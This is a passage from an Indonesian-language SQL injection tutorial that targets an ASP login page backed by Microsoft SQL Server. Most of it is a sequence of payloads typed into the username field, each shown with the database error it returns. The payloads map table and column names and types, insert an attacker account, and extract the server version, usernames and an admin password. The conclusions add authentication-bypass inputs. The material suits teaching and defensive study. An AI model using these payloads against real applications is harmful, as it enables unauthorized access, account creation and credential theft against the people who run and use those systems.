insert into users values( 0, 'chris', 'password', 0x00ff )
insert into users values( 0, 'fred', 'sesame', 0x00ff )
a. Mengetahui Nama dari Tabel dan Kolom
Seorang user sepertinya tidak mungkin dapat memasukkan account untuk dirinya sendiri., tanpa mengatahui struktur dari 'user' tabel. Ataupun jika dia sedang beruntung mungkin 'tabel_privs' tidak dihapus dan dapat dimanfaatkan sebaik mungkin. Untuk seorang attacker error message yang dikembalikan dari aplikasi (biasanya ASP mengembalikan)
attacker dapat mengetahui struktur dari database dan membaca setiap informasi dari account ASP yang sedang digunakan untuk melakukan koneksi ke SQL Server.
Pertama attacker ingin membuat nama tabel dan field tempat query beroperasi. Untuk melakukan ini attacker dapat menggunakan 'having' clause dari 'select' statement:
Username: ' having 1=1--
Hal ini menyebabkan error sbb :
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'users.id' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause.
/process_login.asp, line 35
Sehingga attacker mengetahui nama tabel dan kolom pertama dari query diatas.
Mereka dapat melanjutkan pada kolom berikutnya dengan menggunankan perintah sebagai berikut :
Username: ' group by users.id having 1=1--
Hal ini menyebabkan error sbb :
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'users.username' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.
/process_login.asp, line 35
Akhirnya attacker sampai pada username sbb :
Username : ' group by users.id, users.username, users.password, users.privs having 1=1--
Hal di atas tidak menimbulkan error. Pernyataan tersebut sama dengan query sbb :
select * from users where username = ''
b. Mengetahui Tipe dari Kolom
Hal tersebut akan lebih bagus jika dia dapat mengetahui tipe dari setiap kolom. Hal ini dapat diperoleh dengan cara sebagai berikut :
Username: ' union select sum(username) from users--
Hal di atas menimbulkan error message sbb :
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average aggregate operation cannot take a varchar data type as an argument.
/process_login.asp, line 35
Informasi tersebut menyatakan bahwa tabel username memiliki tipe varchar. Berikutnya kita coba mengetahui tipe dari kolom lainnya.
Username: ' union select sum(id) from users--
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]All queries in an SQL statement containing a UNION operator must have an equal number of expressions in their target lists.
/process_login.asp, line 35
Tipe dari kolom id adalah numeric.
Kita dapat menggunakan cara ini untuk mengetahui tipe dari semua kolom pada tabel yang terdapat di dalam database.
Attacker dapat menggunakan insert query :
Username: '; insert into users values( 666, 'attacker', 'foobar', 0xffff )--
Perkembangan teknik dari SQL injection tidak berhenti sampai di sini. Attacker dapat mengambil keuntungan dari error message untuk mendapatkan informasi yang berhubungan dengan database tersebut.
Attacker dapat mempergunakan query berikut ini untuk mendapatkan bentuk-bentuk umum dari error message:
select * from master..sysmessages
Teknik di bawah ini dipergunakan untuk membaca harga pada tabel dalam database : Username: ' union select @@version,1,1,1--
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'Microsoft SQL Server 2000 - 8.00.194 (Intel X86) Aug 6 2000 00:57:48 Copyright (c) 1988-2000 Microsoft Corporation Enterprise Edition on Windows NT 5.0 (Build 2195: Service Pack 2) ' to a column of data type int.
/process_login.asp, line 35
Attacker berusaha untuk mengkonversikan konstanta '@@version' ke dalam bentuk interger karena kolom pertama pada tabel 'user' bertipe interger.
Attacker dapat membaca username pada tabel 'user' dengan cara berikut ini :
Username: ' union select min(username),1,1,1 from users where username > 'a'--
Hal ini akan mengecilkan daerah pencarian karena username yang dibutuhkan lebih besar dari 'a' dan mengkonversikannya ke dalam interger :
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'admin' to a column of data type int.
/process_login.asp, line 35
Sehingga sekarang attacker akan mengetahui acoount dari 'admin' yang ada dalam database. Sekarang dia dapat mengetahui informasi dari admin tersebut dengan menggunakan klausa 'where' :
Username: ' union select min(username),1,1,1 from users where username > 'admin'--
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'chris' to a column of data type int.
/process_login.asp, line 35
Ketika attacker dapat mengetahui username, maka dia akan terus untuk mendapatkan password-nya :
Username: ' union select password,1,1,1 from users where username = 'admin'--
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'r00tr0x!' to a column of data type int.
/process_login.asp, line 35
Teknik yang lebih indah lagi adalah dengan merangkai semua username dan password pada single string dan merubahnya pada bentuk interger. Tapi hal ini cukup susah dan belum berhasil saya lakukan
8. Kesimpulan
1. SQL kependekan dari Structured Query Language, bahasa yang sering dipergunakan untuk mengelola database relasional, sehingga banyak digunakan dalam aplikasi sistem database karena berdasarkan ANSI.
2. SQL injection merupakan suatu kegiatan yang menipu query dari database, sehingga seseorang dapat mengetahui dan mendapatkan informasi yang terdapat di sana. Praktek seperti ini merupakan ilegal jika kita melihat dari sisi sistem, tapi adakalanya berguna,sehingga itu semua tergantung niat dari yang melakukannya.
3. Seorang attacker dapat memanfaatkan pesan error yang dikirimkan server ketika dia memberikan query-query ilegal untuk mendapatkan nama dan tipe dari kolom pada tabel dalam suatu database
4. Terdapat 3 jenis serangan SQL injection :
a. Authorization Bypass.
Contohnya :
Username: 'OR "='
Password: 'OR "='
Masukan diatas berarti kita telah memberikan query sbb :
SELECT username FROM users where Username = "OR "=" AND password = "OR "="
b. Penggunaan perintah SELECT.
c. Penggunaan perintah INSERT.
9. Daftar Pustaka
1. http://packetstormsecurity.org
2. http://securityfocus.com
3. http://jasakom.com
4. http://www.binushacker.net
5. http://www.appsecinc.com
6. http://www.sqlsecurity.com